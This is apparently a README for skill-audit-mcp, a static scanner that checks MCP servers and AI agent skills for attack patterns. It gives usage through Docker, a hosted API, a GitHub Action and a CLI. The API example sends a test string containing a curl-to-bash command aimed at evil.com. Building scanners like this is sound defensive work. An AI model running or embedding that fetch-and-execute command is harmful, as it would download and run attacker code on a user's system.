Skill Audit MCP server

skill-audit-mcp

Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (59 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.

⚡ Try it in 30 seconds

# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work

# Option B: Hosted API (pay-per-scan, no signup)
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Option C: GitHub Action (CI/CD) — see below

📡 Featured in

Cross-referenced from the discovery channels that AI/security engineers actually read:

• punkpeye/awesome-mcp-servers (86K★) — Security section
• cline/mcp-marketplace (61K★) — curated one-click install (review pending)
• ComposioHQ/awesome-claude-skills (59K★) — Security & Systems
• aaif-goose/goose (45K★) — extension tutorial doc
• sdras/awesome-actions (28K★) — Security
• veggiemonk/awesome-docker (36K★) — Security
• VoltAgent/awesome-claude-code-subagents (20K★) — Quality & Security subagent
• travisvn/awesome-claude-skills (12K★)
• BehiSecc/awesome-claude-skills (9K★)
• yzfly/Awesome-MCP-ZH (7K★) — 中文 🔒 安全与分析
• tensorchord/Awesome-LLMOps (6K★) — Frameworks for LLM security
• devsecops/awesome-devsecops (5K★) — Testing

Four ways to use:

1. GitHub Action (CI/CD)

Add to your workflow to automatically scan PRs:

name: MCP Security Audit
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          fail-on: 'HIGH'

With SARIF upload (shows findings in GitHub Security tab):

- uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          sarif: 'results.sarif'
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'results.sarif'

2. CLI (npx)

# Scan a file
npx @eltociear/skill-audit-mcp --path ./server.py

Shortened. The full README is on GitHub.